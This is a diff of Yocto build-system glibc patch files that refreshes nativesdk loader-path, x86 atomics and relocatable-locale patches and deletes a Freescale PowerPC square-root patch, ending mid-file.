-From 19cd858f5f04a6ac584fbd89a2fbc51791263b85 Mon Sep 17 00:00:00 2001
+From 6af8ce8eceed86addbc188f773a2d36d83ee4042 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 01:51:38 +0000
-Subject: [PATCH 05/29] nativesdk-glibc: Raise the size of arrays containing dl
- paths
+Subject: [PATCH] nativesdk-glibc: Raise the size of arrays containing dl paths
This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
and lengths as well as ld.so.cache path in the dynamic loader to specific
@@ -18,20 +17,21 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
elf/dl-cache.c | 4 ++++
elf/dl-load.c | 4 ++--
+ elf/dl-usage.c | 6 ++++--
elf/interp.c | 2 +-
elf/ldconfig.c | 3 +++
- elf/rtld.c | 5 +++--
+ elf/rtld.c | 1 +
iconv/gconv_conf.c | 2 +-
sysdeps/generic/dl-cache.h | 4 ----
- 7 files changed, 14 insertions(+), 10 deletions(-)
+ 8 files changed, 16 insertions(+), 10 deletions(-)
diff --git a/elf/dl-cache.c b/elf/dl-cache.c
-index 93d185e788..e115b18756 100644
+index 2b8da8650d..3d9787bda4 100644
--- a/elf/dl-cache.c
+++ b/elf/dl-cache.c
-@@ -133,6 +133,10 @@ do \
- while (0)
-
+@@ -355,6 +355,10 @@ search_cache (const char *string_table, uint32_t string_table_size,
+ return best;
+ }
+const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache"))) =
+ SYSCONFDIR "/ld.so.cache";
@@ -41,10 +41,10 @@ index 93d185e788..e115b18756 100644
_dl_cache_libcmp (const char *p1, const char *p2)
{
diff --git a/elf/dl-load.c b/elf/dl-load.c
-index e1b3486549..5226d0c4fa 100644
+index 2c6270e2a7..23018d2f7e 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
-@@ -111,8 +111,8 @@ static size_t max_capstrlen attribute_relro;
+@@ -115,8 +115,8 @@ enum { ncapstr = 1, max_capstrlen = 0 };
gen-trusted-dirs.awk. */
#include "trusted-dirs.h"
@@ -55,8 +55,39 @@ index e1b3486549..5226d0c4fa 100644
{
SYSTEM_DIRS_LEN
};
+diff --git a/elf/dl-usage.c b/elf/dl-usage.c
+index 5ad3a72559..88f26d3692 100644
+--- a/elf/dl-usage.c
++++ b/elf/dl-usage.c
+@@ -25,6 +25,8 @@
+ #include <dl-procinfo.h>
+ #include <dl-hwcaps.h>
+
++extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
++
+ void
+ _dl_usage (const char *argv0, const char *wrong_option)
+ {
+@@ -244,7 +246,7 @@ setting environment variables (which would be inherited by subprocesses).\n\
+ --list list all dependencies and how they are resolved\n\
+ --verify verify that given object really is a dynamically linked\n\
+ object we can handle\n\
+- --inhibit-cache Do not use " LD_SO_CACHE "\n\
++ --inhibit-cache Do not use %s\n\
+ --library-path PATH use given PATH instead of content of the environment\n\
+ variable LD_LIBRARY_PATH\n\
+ --glibc-hwcaps-prepend LIST\n\
+@@ -267,7 +269,7 @@ setting environment variables (which would be inherited by subprocesses).\n\
+ \n\
+ This program interpreter self-identifies as: " RTLD "\n\
+ ",
+- argv0);
++ argv0, LD_SO_CACHE);
+ print_search_path_for_help (state);
+ print_hwcaps_subdirectories (state);
+ print_legacy_hwcap_directories ();
diff --git a/elf/interp.c b/elf/interp.c
-index 331cc1df48..885b2d9476 100644
+index 91966702ca..dc86c20e83 100644
--- a/elf/interp.c
+++ b/elf/interp.c
@@ -18,5 +18,5 @@
@@ -67,10 +98,10 @@ index 331cc1df48..885b2d9476 100644
+const char __invoke_dynamic_linker__[4096] __attribute__ ((section (".interp")))
= RUNTIME_LINKER;
diff --git a/elf/ldconfig.c b/elf/ldconfig.c
-index 0c090dca15..6bb6e0fe72 100644
+index 1037e8d0cf..ffdac84952 100644
--- a/elf/ldconfig.c
+++ b/elf/ldconfig.c
-@@ -171,6 +171,9 @@ static struct argp argp =
+@@ -177,6 +177,9 @@ static struct argp argp =
options, parse_opt, NULL, doc, NULL, more_help, NULL
};
@@ -81,10 +112,10 @@ index 0c090dca15..6bb6e0fe72 100644
a platform. */
static int
diff --git a/elf/rtld.c b/elf/rtld.c
-index 5b882163fa..db407b5d8b 100644
+index fbbd60b446..fce9940f80 100644
--- a/elf/rtld.c
+++ b/elf/rtld.c
-@@ -217,6 +217,7 @@ dso_name_valid_for_suid (const char *p)
+@@ -185,6 +185,7 @@ dso_name_valid_for_suid (const char *p)
}
return *p != '\0';
}
@@ -92,28 +123,12 @@ index 5b882163fa..db407b5d8b 100644
static void
audit_list_init (struct audit_list *list)
-@@ -1286,13 +1287,13 @@ of this helper program; chances are you did not intend to run this program.\n\
- --list list all dependencies and how they are resolved\n\
- --verify verify that given object really is a dynamically linked\n\
- object we can handle\n\
-- --inhibit-cache Do not use " LD_SO_CACHE "\n\
-+ --inhibit-cache Do not use %s\n\
- --library-path PATH use given PATH instead of content of the environment\n\
- variable LD_LIBRARY_PATH\n\
- --inhibit-rpath LIST ignore RUNPATH and RPATH information in object names\n\
- in LIST\n\
- --audit LIST use objects named in LIST as auditors\n\
-- --preload LIST preload objects named in LIST\n");
-+ --preload LIST preload objects named in LIST\n", LD_SO_CACHE);
-
- ++_dl_skip_args;
- --_dl_argc;
diff --git a/iconv/gconv_conf.c b/iconv/gconv_conf.c
-index 735bd1f2d5..25100ba666 100644
+index 62bee28769..67b60dc88c 100644
--- a/iconv/gconv_conf.c
+++ b/iconv/gconv_conf.c
@@ -36,7 +36,7 @@
-
+ #include <gconv_parseconfdir.h>
/* This is the default path where we look for module lists. */
-static const char default_gconv_path[] = GCONV_PATH;
@@ -122,10 +137,10 @@ index 735bd1f2d5..25100ba666 100644
/* Type to represent search path. */
struct path_elem
diff --git a/sysdeps/generic/dl-cache.h b/sysdeps/generic/dl-cache.h
-index 6b310e9e15..3877311df4 100644
+index 964d50a486..94bf68ca9d 100644
--- a/sysdeps/generic/dl-cache.h
+++ b/sysdeps/generic/dl-cache.h
-@@ -27,10 +27,6 @@
+@@ -34,10 +34,6 @@
((flags) == 1 || (flags) == _DL_CACHE_DEFAULT_ID)
#endif
@@ -136,6 +151,3 @@ index 6b310e9e15..3877311df4 100644
#ifndef add_system_dir
# define add_system_dir(dir) add_dir (dir)
#endif
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch b/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
index 372dca727e..3a37f7af72 100644
--- a/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
+++ b/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
@@ -1,7 +1,7 @@
-From bd0486cab67c3441210aed48caab67418610a765 Mon Sep 17 00:00:00 2001
+From b30f380cd88ae181a4a6a3a4784206ffe3ccd19b Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Thu, 31 Dec 2015 14:35:35 -0800
-Subject: [PATCH 06/29] nativesdk-glibc: Allow 64 bit atomics for x86
+Subject: [PATCH] nativesdk-glibc: Allow 64 bit atomics for x86
The fix consist of allowing 64bit atomic ops for x86.
This should be safe for i586 and newer CPUs.
@@ -17,11 +17,11 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/sysdeps/x86/atomic-machine.h b/sysdeps/x86/atomic-machine.h
-index bb49648374..aa08d3c0a7 100644
+index 695222e4fa..9d39bfdbd5 100644
--- a/sysdeps/x86/atomic-machine.h
+++ b/sysdeps/x86/atomic-machine.h
-@@ -58,15 +58,14 @@ typedef uintmax_t uatomic_max_t;
- #endif
+@@ -52,15 +52,14 @@ typedef uintmax_t uatomic_max_t;
+ #define LOCK_PREFIX "lock;"
#define USE_ATOMIC_COMPILER_BUILTINS 1
+# define __HAVE_64B_ATOMICS 1
@@ -37,6 +37,3 @@ index bb49648374..aa08d3c0a7 100644
# define SP_REG "esp"
# define SEG_REG "gs"
# define BR_CONSTRAINT "r"
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch b/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
index 729ce1b42d..d763178f21 100644
--- a/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
+++ b/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
@@ -1,7 +1,7 @@
-From 9a8bf11ea375a2fe5eddb30bc10943e64d3b96a4 Mon Sep 17 00:00:00 2001
+From 24bffe9c2645cd6542e29cb57786dc703cced07b Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 3 Aug 2018 09:55:12 -0700
-Subject: [PATCH 07/29] nativesdk-glibc: Make relocatable install for locales
+Subject: [PATCH] nativesdk-glibc: Make relocatable install for locales
The glibc locale path is hard-coded to the install prefix, but in SDKs we need
to be able to relocate the binaries. Expand the strings to 4K and put them in a
@@ -19,7 +19,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
4 files changed, 8 insertions(+), 7 deletions(-)
diff --git a/locale/findlocale.c b/locale/findlocale.c
-index 9cd3b71a6d..84272310e0 100644
+index ab09122b0c..f42cc75780 100644
--- a/locale/findlocale.c
+++ b/locale/findlocale.c
@@ -56,7 +56,7 @@ struct __locale_data *const _nl_C[] attribute_hidden =
@@ -41,7 +41,7 @@ index 9cd3b71a6d..84272310e0 100644
else
/* We really have to load some data. First see whether the name is
diff --git a/locale/loadarchive.c b/locale/loadarchive.c
-index ba0fe45648..9737fd4cda 100644
+index 512769eaec..436619091b 100644
--- a/locale/loadarchive.c
+++ b/locale/loadarchive.c
@@ -42,7 +42,7 @@
@@ -54,7 +54,7 @@ index ba0fe45648..9737fd4cda 100644
/* Size of initial mapping window, optimal if large enough to
cover the header plus the initial locale. */
diff --git a/locale/localeinfo.h b/locale/localeinfo.h
-index 1bfe22aa7f..fdc283c69a 100644
+index b3d4da0185..22f9dc1140 100644
--- a/locale/localeinfo.h
+++ b/locale/localeinfo.h
@@ -331,7 +331,7 @@ _nl_lookup_word (locale_t l, int category, int item)
@@ -67,7 +67,7 @@ index 1bfe22aa7f..fdc283c69a 100644
/* Load the locale data for CATEGORY from the file specified by *NAME.
If *NAME is "", use environment variables as specified by POSIX, and
diff --git a/locale/programs/locale.c b/locale/programs/locale.c
-index e2e309c2a1..61a92cdcd1 100644
+index ca0a95be99..6b98895203 100644
--- a/locale/programs/locale.c
+++ b/locale/programs/locale.c
@@ -632,6 +632,7 @@ nameentcmp (const void *a, const void *b)
@@ -98,6 +98,3 @@ index e2e309c2a1..61a92cdcd1 100644
locrec = (struct locrecent *) (addr + names[cnt].locrec_offset);
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch b/meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch
deleted file mode 100644
index 5e3b3e2d7b..0000000000
--- a/meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch
+++ /dev/null
@@ -1,1584 +0,0 @@
-From 59b0a78ae706a540dbd8905bc97c875220d6aeb2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:01:50 +0000
-Subject: [PATCH 08/29] fsl e500/e5500/e6500/603e fsqrt implementation
-
-Upstream-Status: Pending
-Signed-off-by: Edmar Wienskoski <edmar@freescale.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 134 ++++++++++++++++++
- .../powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 101 +++++++++++++
- .../linux/powerpc/powerpc32/603e/fpu/Implies | 1 +
- .../powerpc/powerpc32/e300c3/fpu/Implies | 2 +
- .../powerpc/powerpc32/e500mc/fpu/Implies | 1 +
- .../linux/powerpc/powerpc32/e5500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc32/e6500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc64/e5500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc64/e6500/fpu/Implies | 1 +
- 19 files changed, 1418 insertions(+)
- create mode 100644 sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
